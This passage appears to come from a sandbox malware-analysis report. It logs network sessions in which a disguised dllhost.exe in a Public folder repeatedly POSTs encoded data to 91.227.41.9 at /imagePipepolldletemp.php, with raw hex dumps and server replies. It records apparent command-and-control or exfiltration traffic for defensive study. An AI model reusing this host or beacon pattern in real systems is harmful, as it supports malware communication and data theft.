                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:38.637356043 CET2536OUTData Raw: 5c 59 43 57 58 4b 50 5f 54 57 5b 51 55 5f 59 5c 50 5c 5a 5b 56 56 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YCWXKP_TW[QU_Y\P\Z[VVW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$(*#4S'X*5:$;T()Y :4"8+""0[(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:39.577728033 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:39.830169916 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:39 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      108192.168.2.45007691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:40.075059891 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:40.423065901 CET2536OUTData Raw: 59 5e 46 51 58 47 55 5c 54 57 5b 51 55 5c 59 5d 50 5f 5a 5f 56 53 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^FQXGU\TW[QU\Y]P_Z_VSWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'01X+/"54(61[3/7P()?4:!0T+9 !0(/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:41.340249062 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:41.573049068 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:41 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      109192.168.2.45008191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:41.959904909 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:42.312222958 CET2536OUTData Raw: 59 5c 43 55 58 41 55 5f 54 57 5b 51 55 5d 59 5c 50 59 5a 5f 56 53 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y\CUXAU_TW[QU]Y\PYZ_VSWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y&>&?:,_#Z(%!&,?U(*#!*#W50+<"W$X+/&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:43.227124929 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:43.461139917 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:43 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      110192.168.2.45008791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:43.697801113 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:44.047077894 CET2536OUTData Raw: 59 59 43 53 58 44 55 5a 54 57 5b 51 55 5c 59 58 50 58 5a 5a 56 53 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYCSXDUZTW[QU\YXPXZZVSWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^'>-Y+$_7%'_*6%[$,'):+ 45()8Y"'(&\"'Z,8


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      111192.168.2.45009091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:44.823364973 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:45.171583891 CET1860OUTData Raw: 59 5e 46 50 5d 44 55 58 54 57 5b 51 55 5f 59 5a 50 5c 5a 5e 56 51 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^FP]DUXTW[QU_YZP\Z^VQWYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3-\<: %7Z*%$W):<\ :4#0?(_'6Z<&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:46.090635061 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:46.325120926 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:45 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 12 32 26 05 5f 28 23 3a 09 3c 2f 24 04 2e 11 38 5c 3c 1e 03 12 32 58 27 1c 32 06 29 0d 2b 00 09 5d 27 22 39 1b 30 34 34 09 29 02 2f 58 07 1c 27 59 3f 15 01 1e 32 0d 04 58 3e 1f 09 13 32 2e 38 17 33 3e 3b 01 27 0d 0e 12 28 30 3d 53 27 38 36 0a 29 28 30 5e 2d 0e 24 1e 22 0e 23 53 08 11 25 50 33 31 2c 12 26 59 28 1c 35 0d 25 08 30 28 38 0e 2a 02 28 5a 28 33 03 5f 3f 21 08 54 33 32 0e 54 33 01 2c 1b 24 0a 3e 53 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 92&_(#:</$.8\<2X'2)+]'"9044)/X'Y?2X>2.83>;'(0=S'86)(0^-$"#S%P31,&Y(5%0(8*(Z(3_?!T32T3,$>S%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      112192.168.2.45009191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:44.943495035 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:45.296662092 CET2536OUTData Raw: 59 59 43 54 5d 47 55 5f 54 57 5b 51 55 5d 59 58 50 5f 5a 50 56 50 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYCT]GU_TW[QU]YXP_ZPVPWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3=?*8^75;^(%)_0Y(+'7\(5V,V+_##"#?&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:46.209868908 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:46.448965073 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:46 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      113192.168.2.45009691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:46.696348906 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:47.046602964 CET2536OUTData Raw: 59 52 46 50 5d 41 55 5b 54 57 5b 51 55 5b 59 5d 50 5c 5a 5f 56 51 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRFP]AU[TW[QU[Y]P\Z_VQW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''?8X#&(<&.&<#P?9(] # ((^5W<Y<?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:29:47.963063002 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:48.201224089 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:47 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      114192.168.2.45010191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:48.442660093 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:48.799087048 CET2536OUTData Raw: 59 5e 46 54 58 41 55 58 54 57 5b 51 55 5d 59 5a 50 5d 5a 5d 56 53 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^FTXAUXTW[QU]YZP]Z]VSW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z3"=9/46(+C1[$+V(8#,5 )96?+&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:29:49.708204031 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:49.941549063 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:49 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      115192.168.2.45010791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:50.182672977 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:50.531085014 CET2536OUTData Raw: 59 5a 46 57 58 43 55 58 54 57 5b 51 55 5b 59 55 50 53 5a 5b 56 51 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZFWXCUXTW[QU[YUPSZ[VQWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_3..<<X 5?"$;($Y ;T53 ?]#2$^<&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:29:51.448431969 CET25INHTTP/1.1 100 Continue


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      116192.168.2.45011091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:51.465039968 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1836
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:51.812300920 CET1836OUTData Raw: 59 5b 43 53 5d 46 50 59 54 57 5b 51 55 5c 59 5d 50 5e 5a 5b 56 5d 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CS]FPYTW[QU\Y]P^Z[V]WSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_'-"+9+#+<&1\'$+9$[!:;V!V3):0]!W?+/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:52.731846094 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:52.965022087 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:52 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 55 31 36 05 10 29 55 2d 54 2b 3c 30 06 3a 06 3c 10 28 1e 2d 13 26 10 0d 55 25 06 32 57 3f 3d 2c 00 25 21 3d 1a 24 19 05 1d 29 38 2f 58 07 1c 27 11 2b 28 23 11 32 1d 26 5f 3e 57 20 01 31 13 30 5e 30 07 24 5a 30 55 28 5a 3c 30 35 1c 27 28 0f 55 28 15 3f 04 2e 37 27 0c 23 24 23 53 08 11 25 1a 27 32 3b 03 32 01 37 03 21 20 29 09 27 28 2f 1d 3e 3c 38 13 28 20 2d 13 3c 0f 32 11 24 0b 3b 0e 25 3f 2f 07 24 0d 00 57 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9U16)U-T+<0:<(-&U%2W?=,%!=$)8/X'+(#2&_>W 10^0$Z0U(Z<05'(U(?.7'#$#S%'2;27! )'(/><8( -<2$;%?/$W%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      117192.168.2.45011191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:51.596096039 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:51.957555056 CET2536OUTData Raw: 59 53 43 51 58 4a 55 5b 54 57 5b 51 55 5b 59 59 50 5e 5a 5a 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCQXJU[TW[QU[YYP^ZZVWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z&-:<9;#%0(2'Y8(0]7:" 8<:351 ??&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:29:52.858705997 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:53.092986107 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:52 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      118192.168.2.45011791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:53.339365959 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:53.687479019 CET2536OUTData Raw: 5c 5c 43 53 58 41 55 59 54 57 5b 51 55 5a 59 55 50 59 5a 5a 56 5c 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CSXAUYTW[QUZYUPYZZV\WXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X$=>+^"%8?:3$+7#*;Q!$W<)0^!W8Y+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:54.614774942 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:54.853204012 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:54 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      119192.168.2.45012191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:55.103096008 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:55.452903032 CET2532OUTData Raw: 5c 5c 43 54 58 42 55 5f 54 57 5b 51 55 58 59 54 50 53 5a 51 56 50 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CTXBU_TW[QUXYTPSZQVPW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X3=.(,["%7(%1\&,?Q<7#P50<8_"?<?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:56.391349077 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:56.624789000 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:56 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      120192.168.2.45012791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:56.867310047 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
